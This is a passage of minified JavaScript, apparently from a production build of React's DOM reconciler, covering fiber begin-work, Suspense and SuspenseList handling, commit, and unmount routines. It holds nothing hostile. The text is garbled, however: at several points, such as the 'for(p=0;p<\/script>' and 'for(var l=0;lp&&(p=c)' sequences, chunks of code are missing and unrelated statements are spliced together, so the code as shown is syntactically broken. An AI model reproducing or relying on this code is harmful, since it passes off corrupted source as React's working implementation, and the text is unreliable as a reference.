s.mode&1?(s.flags|=65536,s.lanes=p,s):(s===a?s.flags|=65536:(s.flags|=128,n.flags|=131072,n.flags&=-52805,n.tag===1&&(n.alternate===null?n.tag=17:(a=_s(-1,1),a.tag=2,Ia(n,a,1))),n.lanes|=1),s)}var bI=qs.ReactCurrentOwner,Cs=!1;function rs(s,a,n,l){a.child=s===null?ni(a,null,n,l):on(a,s.child,n,l)}function no(s,a,n,l,p){n=n.render;var e=a.ref;return ln(a,p),l=Ec(s,a,n,l,e,p),n=Dc(),s!==null&&!Cs?(a.updateQueue=s.updateQueue,a.flags&=-2053,s.lanes&=~p,$s(s,a,p)):(J&&n&&Rc(a),a.flags|=1,rs(s,a,l,p),a.child)}function lo(s,a,n,l,p){if(s===null){var e=n.type;return typeof e=="function"&&!st(e)&&e.defaultProps===void 0&&n.compare===null&&n.defaultProps===void 0?(a.tag=15,a.type=e,Wi(s,a,e,l,p)):(s=El(n.type,null,l,a,a.mode,p),s.ref=a.ref,s.return=a,a.child=s)}if(e=s.child,!(s.lanes&p)){var c=e.memoizedProps;if(n=n.compare,n=n!==null?n:_n,n(c,l)&&s.ref===a.ref)return $s(s,a,p)}return a.flags|=1,s=ja(e,l),s.ref=a.ref,s.return=a,a.child=s}function Wi(s,a,n,l,p){if(s!==null){var e=s.memoizedProps;if(_n(e,l)&&s.ref===a.ref)if(Cs=!1,a.pendingProps=l=e,(s.lanes&p)!==0)s.flags&131072&&(Cs=!0);else return a.lanes=s.lanes,$s(s,a,p)}return _e(s,a,n,l,p)}function Bi(s,a,n){var l=a.pendingProps,p=l.children,e=s!==null?s.memoizedState:null;if(l.mode==="hidden")if(!(a.mode&1))a.memoizedState={baseLanes:0,cachePool:null,transitions:null},K($a,ys),ys|=n;else{if(!(n&1073741824))return s=e!==null?e.baseLanes|n:n,a.lanes=a.childLanes=1073741824,a.memoizedState={baseLanes:s,cachePool:null,transitions:null},a.updateQueue=null,K($a,ys),ys|=s,null;a.memoizedState={baseLanes:0,cachePool:null,transitions:null},l=e!==null?e.baseLanes:n,K($a,ys),ys|=l}else e!==null?(l=e.baseLanes|n,a.memoizedState=null):l=n,K($a,ys),ys|=l;return rs(s,a,p,n),a.child}function Gi(s,a){var n=a.ref;(s===null&&n!==null||s!==null&&s.ref!==n)&&(a.flags|=512,a.flags|=2097152)}function _e(s,a,n,l,p){var e=us(n)?Xa:os.current;return e=cn(a,e),ln(a,p),n=Ec(s,a,n,l,e,p),l=Dc(),s!==null&&!Cs?(a.updateQueue=s.updateQueue,a.flags&=-2053,s.lanes&=~p,$s(s,a,p)):(J&&l&&Rc(a),a.flags|=1,rs(s,a,n,p),a.child)}function po(s,a,n,l,p){if(us(n)){var e=!0;sp(a)}else e=!1;if(ln(a,p),a.stateNode===null)xl(s,a),si(a,n,l),Ue(a,n,l,p),l=!0;else if(s===null){var c=a.stateNode,t=a.memoizedProps;c.props=t;var o=c.context,i=n.contextType;typeof i=="object"&&i!==null?i=fs(i):(i=us(n)?Xa:os.current,i=cn(a,i));var I=n.getDerivedStateFromProps,d=typeof I=="function"||typeof c.getSnapshotBeforeUpdate=="function";d||typeof c.UNSAFE_componentWillReceiveProps!="function"&&typeof c.componentWillReceiveProps!="function"||(t!==l||o!==i)&&Lt(a,c,l,i),la=!1;var j=a.memoizedState;c.state=j,ep(a,l,c,p),o=a.memoizedState,t!==l||j!==o||js.current||la?(typeof I=="function"&&(Te(a,n,I,l),o=a.memoizedState),(t=la||_t(a,n,t,l,j,o,i))?(d||typeof c.UNSAFE_componentWillMount!="function"&&typeof c.componentWillMount!="function"||(typeof c.componentWillMount=="function"&&c.componentWillMount(),typeof c.UNSAFE_componentWillMount=="function"&&c.UNSAFE_componentWillMount()),typeof c.componentDidMount=="function"&&(a.flags|=4194308)):(typeof c.componentDidMount=="function"&&(a.flags|=4194308),a.memoizedProps=l,a.memoizedState=o),c.props=l,c.state=o,c.context=i,l=t):(typeof c.componentDidMount=="function"&&(a.flags|=4194308),l=!1)}else{c=a.stateNode,$r(s,a),t=a.memoizedProps,i=a.type===a.elementType?t:vs(a.type,t),c.props=i,d=a.pendingProps,j=c.context,o=n.contextType,typeof o=="object"&&o!==null?o=fs(o):(o=us(n)?Xa:os.current,o=cn(a,o));var A=n.getDerivedStateFromProps;(I=typeof A=="function"||typeof c.getSnapshotBeforeUpdate=="function")||typeof c.UNSAFE_componentWillReceiveProps!="function"&&typeof c.componentWillReceiveProps!="function"||(t!==d||j!==o)&&Lt(a,c,l,o),la=!1,j=a.memoizedState,c.state=j,ep(a,l,c,p);var m=a.memoizedState;t!==d||j!==m||js.current||la?(typeof A=="function"&&(Te(a,n,A,l),m=a.memoizedState),(i=la||_t(a,n,i,l,j,m,o)||!1)?(I||typeof c.UNSAFE_componentWillUpdate!="function"&&typeof c.componentWillUpdate!="function"||(typeof c.componentWillUpdate=="function"&&c.componentWillUpdate(l,m,o),typeof c.UNSAFE_componentWillUpdate=="function"&&c.UNSAFE_componentWillUpdate(l,m,o)),typeof c.componentDidUpdate=="function"&&(a.flags|=4),typeof c.getSnapshotBeforeUpdate=="function"&&(a.flags|=1024)):(typeof c.componentDidUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=4),typeof c.getSnapshotBeforeUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=1024),a.memoizedProps=l,a.memoizedState=m),c.props=l,c.state=m,c.context=o,l=i):(typeof c.componentDidUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=4),typeof c.getSnapshotBeforeUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=1024),l=!1)}return Le(s,a,n,l,e,p)}function Le(s,a,n,l,p,e){Gi(s,a);var c=(a.flags&128)!==0;if(!l&&!c)return p&&Et(a,n,!1),$s(s,a,e);l=a.stateNode,bI.current=a;var t=c&&typeof n.getDerivedStateFromError!="function"?null:l.render();return a.flags|=1,s!==null&&c?(a.child=on(a,s.child,null,e),a.child=on(a,null,t,e)):rs(s,a,t,e),a.memoizedState=l.state,p&&Et(a,n,!0),a.child}function Vi(s){var a=s.stateNode;a.pendingContext?zt(s,a.pendingContext,a.pendingContext!==a.context):a.context&&zt(s,a.context,!1),Mc(s,a.containerInfo)}function eo(s,a,n,l,p){return tn(),vc(p),a.flags|=256,rs(s,a,n,l),a.child}var Oe={dehydrated:null,treeContext:null,retryLane:0};function Pe(s){return{baseLanes:s,cachePool:null,transitions:null}}function fi(s,a,n){var l=a.pendingProps,p=z.current,e=!1,c=(a.flags&128)!==0,t;if((t=c)||(t=s!==null&&s.memoizedState===null?!1:(p&2)!==0),t?(e=!0,a.flags&=-129):(s===null||s.memoizedState!==null)&&(p|=1),K(z,p&1),s===null)return Ee(a),s=a.memoizedState,s!==null&&(s=s.dehydrated,s!==null)?(a.mode&1?s.data==="$!"?a.lanes=8:a.lanes=1073741824:a.lanes=1,null):(c=l.children,s=l.fallback,e?(l=a.mode,e=a.child,c={mode:"hidden",children:c},!(l&1)&&e!==null?(e.childLanes=0,e.pendingProps=c):e=Gp(c,l,0,null),s=Ya(s,l,n,null),e.return=a,s.return=a,e.sibling=s,a.child=e,a.child.memoizedState=Pe(n),a.memoizedState=Oe,s):Qc(a,c));if(p=s.memoizedState,p!==null&&(t=p.dehydrated,t!==null))return wI(s,a,c,l,t,p,n);if(e){e=l.fallback,c=a.mode,p=s.child,t=p.sibling;var o={mode:"hidden",children:l.children};return!(c&1)&&a.child!==p?(l=a.child,l.childLanes=0,l.pendingProps=o,a.deletions=null):(l=ja(p,o),l.subtreeFlags=p.subtreeFlags&14680064),t!==null?e=ja(t,e):(e=Ya(e,c,n,null),e.flags|=2),e.return=a,l.return=a,l.sibling=e,a.child=l,l=e,e=a.child,c=s.child.memoizedState,c=c===null?Pe(n):{baseLanes:c.baseLanes|n,cachePool:null,transitions:c.transitions},e.memoizedState=c,e.childLanes=s.childLanes&~n,a.memoizedState=Oe,l}return e=s.child,s=e.sibling,l=ja(e,{mode:"visible",children:l.children}),!(a.mode&1)&&(l.lanes=n),l.return=a,l.sibling=null,s!==null&&(n=a.deletions,n===null?(a.deletions=[s],a.flags|=16):n.push(s)),a.child=l,a.memoizedState=null,l}function Qc(s,a){return a=Gp({mode:"visible",children:a},s.mode,0,null),a.return=s,s.child=a}function Gl(s,a,n,l){return l!==null&&vc(l),on(a,s.child,null,n),s=Qc(a,a.pendingProps.children),s.flags|=2,a.memoizedState=null,s}function wI(s,a,n,l,p,e,c){if(n)return a.flags&256?(a.flags&=-257,l=te(Error(w(422))),Gl(s,a,c,l)):a.memoizedState!==null?(a.child=s.child,a.flags|=128,null):(e=l.fallback,p=a.mode,l=Gp({mode:"visible",children:l.children},p,0,null),e=Ya(e,p,c,null),e.flags|=2,l.return=a,e.return=a,l.sibling=e,a.child=l,a.mode&1&&on(a,s.child,null,c),a.child.memoizedState=Pe(c),a.memoizedState=Oe,e);if(!(a.mode&1))return Gl(s,a,c,null);if(p.data==="$!"){if(l=p.nextSibling&&p.nextSibling.dataset,l)var t=l.dgst;return l=t,e=Error(w(419)),l=te(e,l,void 0),Gl(s,a,c,l)}if(t=(c&s.childLanes)!==0,Cs||t){if(l=ss,l!==null){switch(c&-c){case 4:p=2;break;case 16:p=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:p=32;break;case 536870912:p=268435456;break;default:p=0}p=p&(l.suspendedLanes|c)?0:p,p!==0&&p!==e.retryLane&&(e.retryLane=p,Ps(s,p),Ks(l,s,p,-1))}return qc(),l=te(Error(w(421))),Gl(s,a,c,l)}return p.data==="$?"?(a.flags|=128,a.child=s.child,a=HI.bind(null,s),p._reactRetry=a,null):(s=e.treeContext,ms=ha(p.nextSibling),bs=a,J=!0,Hs=null,s!==null&&(Ws[Bs++]=Us,Ws[Bs++]=Qs,Ws[Bs++]=va,Us=s.id,Qs=s.overflow,va=a),a=Qc(a,l.children),a.flags|=4096,a)}function co(s,a,n){s.lanes|=a;var l=s.alternate;l!==null&&(l.lanes|=a),De(s.return,a,n)}function oe(s,a,n,l,p){var e=s.memoizedState;e===null?s.memoizedState={isBackwards:a,rendering:null,renderingStartTime:0,last:l,tail:n,tailMode:p}:(e.isBackwards=a,e.rendering=null,e.renderingStartTime=0,e.last=l,e.tail=n,e.tailMode=p)}function Yi(s,a,n){var l=a.pendingProps,p=l.revealOrder,e=l.tail;if(rs(s,a,l.children,n),l=z.current,l&2)l=l&1|2,a.flags|=128;else{if(s!==null&&s.flags&128)s:for(s=a.child;s!==null;){if(s.tag===13)s.memoizedState!==null&&co(s,n,a);else if(s.tag===19)co(s,n,a);else if(s.child!==null){s.child.return=s,s=s.child;continue}if(s===a)break s;for(;s.sibling===null;){if(s.return===null||s.return===a)break s;s=s.return}s.sibling.return=s.return,s=s.sibling}l&=1}if(K(z,l),!(a.mode&1))a.memoizedState=null;else switch(p){case"forwards":for(n=a.child,p=null;n!==null;)s=n.alternate,s!==null&&cp(s)===null&&(p=n),n=n.sibling;n=p,n===null?(p=a.child,a.child=null):(p=n.sibling,n.sibling=null),oe(a,!1,p,n,e);break;case"backwards":for(n=null,p=a.child,a.child=null;p!==null;){if(s=p.alternate,s!==null&&cp(s)===null){a.child=p;break}s=p.sibling,p.sibling=n,n=p,p=s}oe(a,!0,n,null,e);break;case"together":oe(a,!1,null,null,void 0);break;default:a.memoizedState=null}return a.child}function xl(s,a){!(a.mode&1)&&s!==null&&(s.alternate=null,a.alternate=null,a.flags|=2)}function $s(s,a,n){if(s!==null&&(a.dependencies=s.dependencies),Ha|=a.lanes,!(n&a.childLanes))return null;if(s!==null&&a.child!==s.child)throw Error(w(153));if(a.child!==null){for(s=a.child,n=ja(s,s.pendingProps),a.child=n,n.return=a;s.sibling!==null;)s=s.sibling,n=n.sibling=ja(s,s.pendingProps),n.return=a;n.sibling=null}return a.child}function kI(s,a,n){switch(a.tag){case 3:Vi(a),tn();break;case 5:li(a);break;case 1:us(a.type)&&sp(a);break;case 4:Mc(a,a.stateNode.containerInfo);break;case 10:var l=a.type._context,p=a.memoizedProps.value;K(lp,l._currentValue),l._currentValue=p;break;case 13:if(l=a.memoizedState,l!==null)return l.dehydrated!==null?(K(z,z.current&1),a.flags|=128,null):n&a.child.childLanes?fi(s,a,n):(K(z,z.current&1),s=$s(s,a,n),s!==null?s.sibling:null);K(z,z.current&1);break;case 19:if(l=(n&a.childLanes)!==0,s.flags&128){if(l)return Yi(s,a,n);a.flags|=128}if(p=a.memoizedState,p!==null&&(p.rendering=null,p.tail=null,p.lastEffect=null),K(z,z.current),l)break;return null;case 22:case 23:return a.lanes=0,Bi(s,a,n)}return $s(s,a,n)}var Ri,$e,Xi,vi;Ri=function(s,a){for(var n=a.child;n!==null;){if(n.tag===5||n.tag===6)s.appendChild(n.stateNode);else if(n.tag!==4&&n.child!==null){n.child.return=n,n=n.child;continue}if(n===a)break;for(;n.sibling===null;){if(n.return===null||n.return===a)return;n=n.return}n.sibling.return=n.return,n=n.sibling}};$e=function(){};Xi=function(s,a,n,l){var p=s.memoizedProps;if(p!==l){s=a.stateNode,Va(Es.current);var e=null;switch(n){case"input":p=me(s,p),l=me(s,l),e=[];break;case"select":p=D({},p,{value:void 0}),l=D({},l,{value:void 0}),e=[];break;case"textarea":p=ke(s,p),l=ke(s,l),e=[];break;default:typeof p.onClick!="function"&&typeof l.onClick=="function"&&(s.onclick=$l)}We(n,l);var c;n=null;for(i in p)if(!l.hasOwnProperty(i)&&p.hasOwnProperty(i)&&p[i]!=null)if(i==="style"){var t=p[i];for(c in t)t.hasOwnProperty(c)&&(n||(n={}),n[c]="")}else i!=="dangerouslySetInnerHTML"&&i!=="children"&&i!=="suppressContentEditableWarning"&&i!=="suppressHydrationWarning"&&i!=="autoFocus"&&(Jn.hasOwnProperty(i)?e||(e=[]):(e=e||[]).push(i,null));for(i in l){var o=l[i];if(t=p!=null?p[i]:void 0,l.hasOwnProperty(i)&&o!==t&&(o!=null||t!=null))if(i==="style")if(t){for(c in t)!t.hasOwnProperty(c)||o&&o.hasOwnProperty(c)||(n||(n={}),n[c]="");for(c in o)o.hasOwnProperty(c)&&t[c]!==o[c]&&(n||(n={}),n[c]=o[c])}else n||(e||(e=[]),e.push(i,n)),n=o;else i==="dangerouslySetInnerHTML"?(o=o?o.__html:void 0,t=t?t.__html:void 0,o!=null&&t!==o&&(e=e||[]).push(i,o)):i==="children"?typeof o!="string"&&typeof o!="number"||(e=e||[]).push(i,""+o):i!=="suppressContentEditableWarning"&&i!=="suppressHydrationWarning"&&(Jn.hasOwnProperty(i)?(o!=null&&i==="onScroll"&&S("scroll",s),e||t===o||(e=[])):(e=e||[]).push(i,o))}n&&(e=e||[]).push("style",n);var i=e;(a.updateQueue=i)&&(a.flags|=4)}};vi=function(s,a,n,l){n!==l&&(a.flags|=4)};function Bn(s,a){if(!J)switch(s.tailMode){case"hidden":a=s.tail;for(var n=null;a!==null;)a.alternate!==null&&(n=a),a=a.sibling;n===null?s.tail=null:n.sibling=null;break;case"collapsed":n=s.tail;for(var l=null;n!==null;)n.alternate!==null&&(l=n),n=n.sibling;l===null?a||s.tail===null?s.tail=null:s.tail.sibling=null:l.sibling=null}}function cs(s){var a=s.alternate!==null&&s.alternate.child===s.child,n=0,l=0;if(a)for(var p=s.child;p!==null;)n|=p.lanes|p.childLanes,l|=p.subtreeFlags&14680064,l|=p.flags&14680064,p.return=s,p=p.sibling;else for(p=s.child;p!==null;)n|=p.lanes|p.childLanes,l|=p.subtreeFlags,l|=p.flags,p.return=s,p=p.sibling;return s.subtreeFlags|=l,s.childLanes=n,a}function ZI(s,a,n){var l=a.pendingProps;switch(Xc(a),a.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return cs(a),null;case 1:return us(a.type)&&ql(),cs(a),null;case 3:return l=a.stateNode,rn(),M(js),M(os),Jc(),l.pendingContext&&(l.context=l.pendingContext,l.pendingContext=null),(s===null||s.child===null)&&(Wl(a)?a.flags|=4:s===null||s.memoizedState.isDehydrated&&!(a.flags&256)||(a.flags|=1024,Hs!==null&&(cc(Hs),Hs=null))),$e(s,a),cs(a),null;case 5:xc(a);var p=Va(qn.current);if(n=a.type,s!==null&&a.stateNode!=null)Xi(s,a,n,l,p),s.ref!==a.ref&&(a.flags|=512,a.flags|=2097152);else{if(!l){if(a.stateNode===null)throw Error(w(166));return cs(a),null}if(s=Va(Es.current),Wl(a)){l=a.stateNode,n=a.type;var e=a.memoizedProps;switch(l[Js]=a,l[Pn]=e,s=(a.mode&1)!==0,n){case"dialog":S("cancel",l),S("close",l);break;case"iframe":case"object":case"embed":S("load",l);break;case"video":case"audio":for(p=0;p<\/script>",s=s.removeChild(s.firstChild)):typeof l.is=="string"?s=c.createElement(n,{is:l.is}):(s=c.createElement(n),n==="select"&&(c=s,l.multiple?c.multiple=!0:l.size&&(c.size=l.size))):s=c.createElementNS(s,n),s[Js]=a,s[Pn]=l,Ri(s,a,!1,!1),a.stateNode=s;s:{switch(c=Be(n,l),n){case"dialog":S("cancel",s),S("close",s),p=l;break;case"iframe":case"object":case"embed":S("load",s),p=l;break;case"video":case"audio":for(p=0;phn&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304)}else{if(!l)if(s=cp(c),s!==null){if(a.flags|=128,l=!0,n=s.updateQueue,n!==null&&(a.updateQueue=n,a.flags|=4),Bn(e,!0),e.tail===null&&e.tailMode==="hidden"&&!c.alternate&&!J)return cs(a),null}else 2*Q()-e.renderingStartTime>hn&&n!==1073741824&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304);e.isBackwards?(c.sibling=a.child,a.child=c):(n=e.last,n!==null?n.sibling=c:a.child=c,e.last=c)}return e.tail!==null?(a=e.tail,e.rendering=a,e.tail=a.sibling,e.renderingStartTime=Q(),a.sibling=null,n=z.current,K(z,l?n&1|2:n&1),a):(cs(a),null);case 22:case 23:return $c(),l=a.memoizedState!==null,s!==null&&s.memoizedState!==null!==l&&(a.flags|=8192),l&&a.mode&1?ys&1073741824&&(cs(a),a.subtreeFlags&6&&(a.flags|=8192)):cs(a),null;case 24:return null;case 25:return null}throw Error(w(156,a.tag))}function WI(s,a){switch(Xc(a),a.tag){case 1:return us(a.type)&&ql(),s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 3:return rn(),M(js),M(os),Jc(),s=a.flags,s&65536&&!(s&128)?(a.flags=s&-65537|128,a):null;case 5:return xc(a),null;case 13:if(M(z),s=a.memoizedState,s!==null&&s.dehydrated!==null){if(a.alternate===null)throw Error(w(340));tn()}return s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 19:return M(z),null;case 4:return rn(),null;case 10:return Fc(a.type._context),null;case 22:case 23:return $c(),null;case 24:return null;default:return null}}var Vl=!1,ts=!1,BI=typeof WeakSet=="function"?WeakSet:Set,V=null;function Pa(s,a){var n=s.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(l){T(s,a,l)}else n.current=null}function qe(s,a,n){try{n()}catch(l){T(s,a,l)}}var to=!1;function GI(s,a){if(Fe=Ll,s=Kr(),Yc(s)){if("selectionStart"in s)var n={start:s.selectionStart,end:s.selectionEnd};else s:{n=(n=s.ownerDocument)&&n.defaultView||window;var l=n.getSelection&&n.getSelection();if(l&&l.rangeCount!==0){n=l.anchorNode;var p=l.anchorOffset,e=l.focusNode;l=l.focusOffset;try{n.nodeType,e.nodeType}catch{n=null;break s}var c=0,t=-1,o=-1,i=0,I=0,d=s,j=null;a:for(;;){for(var A;d!==n||p!==0&&d.nodeType!==3||(t=c+p),d!==e||l!==0&&d.nodeType!==3||(o=c+l),d.nodeType===3&&(c+=d.nodeValue.length),(A=d.firstChild)!==null;)j=d,d=A;for(;;){if(d===s)break a;if(j===n&&++i===p&&(t=c),j===e&&++I===l&&(o=c),(A=d.nextSibling)!==null)break;d=j,j=d.parentNode}d=A}n=t===-1||o===-1?null:{start:t,end:o}}else n=null}n=n||{start:0,end:0}}else n=null;for(Ke={focusedElem:s,selectionRange:n},Ll=!1,V=a;V!==null;)if(a=V,s=a.child,(a.subtreeFlags&1028)!==0&&s!==null)s.return=a,V=s;else for(;V!==null;){a=V;try{var m=a.alternate;if(a.flags&1024)switch(a.tag){case 0:case 11:case 15:break;case 1:if(m!==null){var b=m.memoizedProps,Z=m.memoizedState,h=a.stateNode,g=h.getSnapshotBeforeUpdate(a.elementType===a.type?b:vs(a.type,b),Z);h.__reactInternalSnapshotBeforeUpdate=g}break;case 3:var C=a.stateNode.containerInfo;C.nodeType===1?C.textContent="":C.nodeType===9&&C.documentElement&&C.removeChild(C.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(w(163))}}catch(y){T(a,a.return,y)}if(s=a.sibling,s!==null){s.return=a.return,V=s;break}V=a.return}return m=to,to=!1,m}function Sn(s,a,n){var l=a.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var p=l=l.next;do{if((p.tag&s)===s){var e=p.destroy;p.destroy=void 0,e!==void 0&&qe(a,n,e)}p=p.next}while(p!==l)}}function Wp(s,a){if(a=a.updateQueue,a=a!==null?a.lastEffect:null,a!==null){var n=a=a.next;do{if((n.tag&s)===s){var l=n.create;n.destroy=l()}n=n.next}while(n!==a)}}function sc(s){var a=s.ref;if(a!==null){var n=s.stateNode;switch(s.tag){case 5:s=n;break;default:s=n}typeof a=="function"?a(s):a.current=s}}function Ni(s){var a=s.alternate;a!==null&&(s.alternate=null,Ni(a)),s.child=null,s.deletions=null,s.sibling=null,s.tag===5&&(a=s.stateNode,a!==null&&(delete a[Js],delete a[Pn],delete a[xe],delete a[rI],delete a[iI])),s.stateNode=null,s.return=null,s.dependencies=null,s.memoizedProps=null,s.memoizedState=null,s.pendingProps=null,s.stateNode=null,s.updateQueue=null}function Hi(s){return s.tag===5||s.tag===3||s.tag===4}function oo(s){s:for(;;){for(;s.sibling===null;){if(s.return===null||Hi(s.return))return null;s=s.return}for(s.sibling.return=s.return,s=s.sibling;s.tag!==5&&s.tag!==6&&s.tag!==18;){if(s.flags&2||s.child===null||s.tag===4)continue s;s.child.return=s,s=s.child}if(!(s.flags&2))return s.stateNode}}function ac(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.nodeType===8?n.parentNode.insertBefore(s,a):n.insertBefore(s,a):(n.nodeType===8?(a=n.parentNode,a.insertBefore(s,n)):(a=n,a.appendChild(s)),n=n._reactRootContainer,n!=null||a.onclick!==null||(a.onclick=$l));else if(l!==4&&(s=s.child,s!==null))for(ac(s,a,n),s=s.sibling;s!==null;)ac(s,a,n),s=s.sibling}function nc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.insertBefore(s,a):n.appendChild(s);else if(l!==4&&(s=s.child,s!==null))for(nc(s,a,n),s=s.sibling;s!==null;)nc(s,a,n),s=s.sibling}var ns=null,Ns=!1;function sa(s,a,n){for(n=n.child;n!==null;)Fi(s,a,n),n=n.sibling}function Fi(s,a,n){if(zs&&typeof zs.onCommitFiberUnmount=="function")try{zs.onCommitFiberUnmount(up,n)}catch{}switch(n.tag){case 5:ts||Pa(n,a);case 6:var l=ns,p=Ns;ns=null,sa(s,a,n),ns=l,Ns=p,ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?s.parentNode.removeChild(n):s.removeChild(n)):ns.removeChild(n.stateNode));break;case 18:ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?ae(s.parentNode,n):s.nodeType===1&&ae(s,n),Un(s)):ae(ns,n.stateNode));break;case 4:l=ns,p=Ns,ns=n.stateNode.containerInfo,Ns=!0,sa(s,a,n),ns=l,Ns=p;break;case 0:case 11:case 14:case 15:if(!ts&&(l=n.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){p=l=l.next;do{var e=p,c=e.destroy;e=e.tag,c!==void 0&&(e&2||e&4)&&qe(n,a,c),p=p.next}while(p!==l)}sa(s,a,n);break;case 1:if(!ts&&(Pa(n,a),l=n.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=n.memoizedProps,l.state=n.memoizedState,l.componentWillUnmount()}catch(t){T(n,a,t)}sa(s,a,n);break;case 21:sa(s,a,n);break;case 22:n.mode&1?(ts=(l=ts)||n.memoizedState!==null,sa(s,a,n),ts=l):sa(s,a,n);break;default:sa(s,a,n)}}function ro(s){var a=s.updateQueue;if(a!==null){s.updateQueue=null;var n=s.stateNode;n===null&&(n=s.stateNode=new BI),a.forEach(function(l){var p=FI.bind(null,s,l);n.has(l)||(n.add(l),l.then(p,p))})}}function Xs(s,a){var n=a.deletions;if(n!==null)for(var l=0;lp&&(p=c),l&=~e}if(l=p,l=Q()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*fI(l/1960))-l,10s?16:s,ta===null)var l=!1;else{if(s=ta,ta=null,gp=0,H&6)throw Error(w(331));var p=H;for(H|=4,V=s.current;V!==null;){var e=V,c=e.child;if(V.flags&16){var t=e.deletions;if(t!==null){for(var o=0;oQ()-Oc?fa(s,0):Lc|=n),As(s,a)}function Di(s,a){a===0&&(s.mode&1?(a=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):a=1);var n=is();s=Ps(s,a),s!==null&&(tl(s,a,n),As(s,n))}function HI(s){var a=s.memoizedState,n=0;a!==null&&(n=a.retryLane),Di(s,n)}function FI(s,a){var n=0;switch(s.tag){case 13:var l=s.stateNode,p=s.memoizedState;p!==null&&(n=p.retryLane);break;case 19:l=s.stateNode;break;default:throw Error(w(314))}l!==null&&l.delete(a),Di(s,n)}var Ti;Ti=function(s,a,n){if(s!==null)if(s.memoizedProps!==a.pendingProps||js.current)Cs=!0;else{if(!(s.lanes&n)&&!(a.flags&128))return Cs=!1,kI(s,a,n);Cs=!!(s.flags&131072)}else Cs=!1,J&&a.flags&1048576&&_r(a,np,a.index);switch(a.lanes=0,a.tag){case 2:var l=a.type;xl(s,a),s=a.pendingProps;var p=cn(a,os.current);ln(a,n),p=Ec(null,a,l,s,p,n);var e=Dc();return a.flags|=1,typeof p=="object"&&p!==null&&typeof p.render=="function"&&p.$$typeof===void 0?(a.tag=1,a.memoizedState=null,a.updateQueue=null,us(l)?(e=!0,sp(a)):e=!1,a.memoizedState=p.state!==null&&p.state!==void 0?p.state:null,Sc(a),p.updater=kp,a.stateNode=p,p._reactInternals=a,Ue(a,l,s,n),a=Le(null,a,l,!0,e,n)):(a.tag=0,J&&e&&Rc(a),rs(null,a,p,n),a=a.child),a;case 16:l=a.elementType;s:{switch(xl(s,a),s=a.pendingProps,p=l._init,l=p(l._payload),a.type=l,p=a.tag=SI(l),s=vs(l,s),p){case 0:a=_e(null,a,l,s,n);break s;case 1:a=po(null,a,l,s,n);break s;case 11:a=no(null,a,l,s,n);break s;case 14:a=lo(null,a,l,vs(l.type,s),n);break s}throw Error(w(306,l,""))}return a;case 0:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),_e(s,a,l,p,n);case 1:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),po(s,a,l,p,n);case 3:s:{if(Vi(a),s===null)throw Error(w(387));l=a.pendingProps,e=a.memoizedState,p=e.element,$r(s,a),ep(a,l,null,n);var c=a.memoizedState;if(l=c.element,e.isDehydrated)if(e={element:l,isDehydrated:!1,cache:c.cache,pendingSuspenseBoundaries:c.pendingSuspenseBoundaries,transitions:c.transitions},a.updateQueue.baseState=e,a.memoizedState=e,a.flags&256){p=gn(Error(w(423)),a),a=eo(s,a,l,n,p);break s}else if(l!==p){p=gn(Error(w(424)),a),a=eo(s,a,l,n,p);break s}else for(ms=ha(a.stateNode.containerInfo.firstChild),bs=a,J=!0,Hs=null,n=ni(a,null,l,n),a.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(tn(),l===p){a=$s(s,a,n);break s}rs(s,a,l,n)}a=a.child}return a;case 5:return li(a),s===null&&Ee(a),l=a.type,p=a.pendingProps,e=s!==null?s.memoizedProps:null,c=p.children,Se(l,p)?c=null:e!==null&&Se(l,e)&&(a.flags|=32),Gi(s,a),rs(s,a,c,n),a.child;case 6:return s===null&&Ee(a),null;case 13:return fi(s,a,n);case 4:return Mc(a,a.stateNode.containerInfo),l=a.pendingProps,s===null?a.child=on(a,null,l,n):rs(s,a,l,n),a.child;case 11:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),no(s,a,l,p,n);case 7:return rs(s,a,a.pendingProps,n),a.child;case 8:return rs(s,a,a.pendingProps.children,n),a.child;case 12:return rs(s,a,a.pendingProps.children,n),a.child;case 10:s:{if(l=a.type._context,p=a.pendingProps,e=a.memoizedProps,c=p.value,K(lp,l._currentValue),l._currentValue=c,e!==null)if(Ss(e.value,c)){if(e.children===p.children&&!js.current){a=$s(s,a,n);break s}}else for(e=a.child,e!==null&&(e.return=a);e!==null;){var t=e.dependencies;if(t!==null){c=e.child;for(var o=t.firstContext;o!==null;){if(o.context===l){if(e.tag===1){o=_s(-1,n&-n),o.tag=2;var i=e.updateQueue;if(i!==null){i=i.shared;var I=i.pending;I===null?o.next=o:(o.next=I.next,I.next=o),i.pending=o}}e.lanes|=n,o=e.alternate,o!==null&&(o.lanes|=n),De(e.return,n,a),t.lanes|=n;break}o=o.next}}else if(e.tag===10)c=e.type===a.type?null:e.child;else if(e.tag===18){if(c=e.return,c===null)throw Error(w(341));c.lanes|=n,t=c.alternate,t!==null&&(t.lanes|=n),De(c,n,a),c=e.sibling}else c=e.child;if(c!==null)c.return=e;else 